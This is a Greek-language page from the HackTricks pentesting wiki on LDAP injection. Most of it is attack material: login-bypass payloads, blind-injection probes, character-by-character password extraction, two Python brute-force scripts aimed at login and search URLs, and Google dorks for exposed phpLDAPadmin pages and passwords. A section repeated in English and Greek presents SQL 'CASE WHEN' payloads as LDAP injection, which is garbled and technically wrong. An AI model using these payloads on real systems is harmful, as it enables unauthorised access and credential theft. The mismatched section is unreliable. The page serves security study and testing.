18 KiB
Εισβολή στο LDAP
Εισβολή στο LDAP
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Συμβουλή για bug bounty: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς! Γίνετε μέλος μας στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε αμοιβές έως και $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Εισβολή στο LDAP
LDAP
Εάν θέλετε να μάθετε τι είναι το LDAP, ανατρέξτε στην ακόλουθη σελίδα:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
Η εισβολή στο LDAP (LDAP Injection) είναι μια επίθεση που στοχεύει σε εφαρμογές ιστού που κατασκευάζουν δηλώσεις LDAP από την είσοδο του χρήστη. Συμβαίνει όταν η εφαρμογή αποτυγχάνει να καθαρίσει σωστά την είσοδο, επιτρέποντας στους επιτιθέμενους να διαμορφώσουν δηλώσεις LDAP μέσω ενός τοπικού διαμεσολαβητή, με πιθανή αποτέλεσμα την μη εξουσιοδοτημένη πρόσβαση ή την παραποίηση δεδομένων.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
Φίλτρο = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Απόλυτη ΑΛΗΘΕΙΑ
(|) = Απόλυτη ΨΕΥΔΕΙΑ
Για παράδειγμα:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Μπορείτε να έχετε πρόσβαση στη βάση δεδομένων, η οποία μπορεί να περιέχει πληροφορίες πολλών διαφορετικών τύπων.
OpenLDAP: Εάν φτάσουν 2 φίλτρα, εκτελείται μόνο το πρώτο.
ADAM ή Microsoft LDS: Με 2 φίλτρα εμφανίζουν ένα σφάλμα.
SunOne Directory Server 5.0: Εκτελούνται και τα δύο φίλτρα.
Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη, διαφορετικά θα εμφανιστεί ένα σφάλμα. Είναι καλύτερο να στείλετε μόνο ένα φίλτρο.
Το φίλτρο πρέπει να ξεκινά με: &
ή |
Παράδειγμα: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Στη συνέχεια: (&(objectClass=
*)(ObjectClass=*))
θα είναι το πρώτο φίλτρο (αυτό που εκτελείται).
Παράκαμψη Σύνδεσης
Το LDAP υποστηρίζει αρκετές μορφές αποθήκευσης του κωδικού πρόσβασης: καθαρός, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβεί ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός κατακερματίζεται.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Λίστες
Τυφλή εισαγωγή LDAP
Μπορείτε να εξαναγκάσετε απαντήσεις False ή True για να ελέγξετε εάν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή τυφλή εισαγωγή LDAP:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Απορρόφηση δεδομένων
Μπορείτε να επαναλάβετε τους αριθμούς ASCII, τους αριθμούς και τα σύμβολα:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Σενάρια
Ανακάλυψη έγκυρων πεδίων LDAP
Τα αντικείμενα LDAP περιέχουν από προεπιλογή αρκετά χαρακτηριστικά που μπορούν να χρησιμοποιηθούν για αποθήκευση πληροφοριών. Μπορείτε να δοκιμάσετε να δοκιμάσετε όλα αυτά τα πεδία για να εξαγάγετε αυτές τις πληροφορίες. Μπορείτε να βρείτε μια λίστα με προεπιλεγμένα χαρακτηριστικά LDAP εδώ.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Ειδική τυφλή εισαγωγή LDAP (χωρίς "*")
This technique is used when the application filters the wildcard character ("*") to prevent LDAP injection attacks. However, it is still possible to perform a blind LDAP injection by leveraging the application's response to different LDAP queries.
Αυτή η τεχνική χρησιμοποιείται όταν η εφαρμογή φιλτράρει τον χαρακτήρα μπαλαντέρ ("*") για να αποτρέψει επιθέσεις εισαγωγής LDAP. Ωστόσο, είναι ακόμα δυνατό να πραγματοποιηθεί μια τυφλή εισαγωγή LDAP εκμεταλλευόμενο την απόκριση της εφαρμογής σε διάφορα ερωτήματα LDAP.
Payloads
The following payloads can be used to perform a blind LDAP injection:
Οι παρακάτω φορτία μπορούν να χρησιμοποιηθούν για να πραγματοποιηθεί μια τυφλή εισαγωγή LDAP:
' AND (CASE WHEN (CONDITION) THEN 'a' ELSE 'b' END)='a
' AND (CASE WHEN (CONDITION) THEN 'a' ELSE 'b' END)='b
Replace (CONDITION)
with the condition you want to test. For example, you can use (username=admin)
to check if the username "admin" exists in the LDAP directory.
Αντικαταστήστε (CONDITION)
με την συνθήκη που θέλετε να ελέγξετε. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε (username=admin)
για να ελέγξετε αν το όνομα χρήστη "admin" υπάρχει στον κατάλογο LDAP.
Exploiting the Injection
To exploit the blind LDAP injection, you need to analyze the application's response to the LDAP queries. By observing differences in the response, you can infer whether the injected condition is true or false.
Για να εκμεταλλευτείτε την τυφλή εισαγωγή LDAP, πρέπει να αναλύσετε την απόκριση της εφαρμογής στα ερωτήματα LDAP. Με την παρατήρηση διαφορών στην απόκριση, μπορείτε να συμπεράνετε εάν η εισαγόμενη συνθήκη είναι αληθής ή ψευδής.
Example
Let's say the application responds with a specific message when the condition is true and a different message when the condition is false. By injecting the payload ' AND (CASE WHEN (username=admin) THEN 'a' ELSE 'b' END)='a
, you can observe the response and determine if the username "admin" exists in the LDAP directory.
Ας υποθέσουμε ότι η εφαρμογή απαντά με ένα συγκεκριμένο μήνυμα όταν η συνθήκη είναι αληθής και ένα διαφορετικό μήνυμα όταν η συνθήκη είναι ψευδής. Εισάγοντας το φορτίο ' AND (CASE WHEN (username=admin) THEN 'a' ELSE 'b' END)='a
, μπορείτε να παρατηρήσετε την απόκριση και να καθορίσετε εάν το όνομα χρήστη "admin" υπάρχει στον κατάλογο LDAP.
Prevention
To prevent blind LDAP injection attacks, it is important to properly sanitize and validate user input before using it in LDAP queries. Additionally, consider implementing strong access controls and limiting the privileges of the LDAP user used by the application.
Για να αποτρέψετε επιθέσεις τυφλής εισαγωγής LDAP, είναι σημαντικό να καθαρίζετε και επικυρώνετε σωστά την είσοδο του χρήστη πριν τη χρήση της σε ερωτήματα LDAP. Επιπλέον, εξετάστε την εφαρμογή ισχυρών ελέγχων πρόσβασης και περιορίστε τα προνόμια του χρήστη LDAP που χρησιμοποιείται από την εφαρμογή.
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
Οι Google Dorks είναι ειδικές λέξεις-κλειδιά που χρησιμοποιούνται για να εκτελέσουν αναζητήσεις στη μηχανή αναζήτησης της Google με σκοπό να ανακαλύψουν ευπάθειες ασφαλείας ή ευάλωτες περιοχές σε ιστότοπους. Οι Google Dorks μπορούν να χρησιμοποιηθούν από επαγγελματίες χάκερ και ερευνητές ασφαλείας για να εντοπίσουν ευπάθειες σε ιστότοπους και να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες.
Οι Google Dorks μπορούν να χρησιμοποιηθούν για να εκτελέσουν αναζητήσεις με βάση συγκεκριμένα πρότυπα, όπως αρχεία, κατάλογοι, ευαίσθητες πληροφορίες χρηστών, κωδικοί πρόσβασης και πολλά άλλα. Οι επιθέσεις που βασίζονται σε Google Dorks ονομάζονται Google Dorking ή Google Hacking.
Παρακάτω παρουσιάζονται μερικά παραδείγματα Google Dorks που μπορούν να χρησιμοποιηθούν για να εντοπιστούν ευπάθειες σε ιστότοπους:
site:example.com intext:password
: Αναζήτηση για τη λέξη-κλειδί "password" στον ιστότοπο example.com.filetype:sql intext:username password
: Αναζήτηση για αρχεία SQL που περιέχουν τις λέξεις-κλειδιά "username" και "password".inurl:admin intext:username password
: Αναζήτηση για σελίδες που περιέχουν τον όρο "admin" στο URL και τις λέξεις-κλειδιά "username" και "password" στο περιεχόμενό τους.
Αυτά είναι μερικά παραδείγματα Google Dorks που μπορούν να χρησιμοποιηθούν για να εντοπιστούν ευπάθειες σε ιστότοπους. Είναι σημαντικό να χρησιμοποιούνται με προσοχή και να τηρούνται οι κανονισμοί και οι νόμοι περί ασφάλειας και ιδιωτικότητας.
intitle:"phpLDAPadmin" inurl:cmd.php
Περισσότερα Payloads
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
Συμβουλή για bug bounty: εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε αμοιβές έως και $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.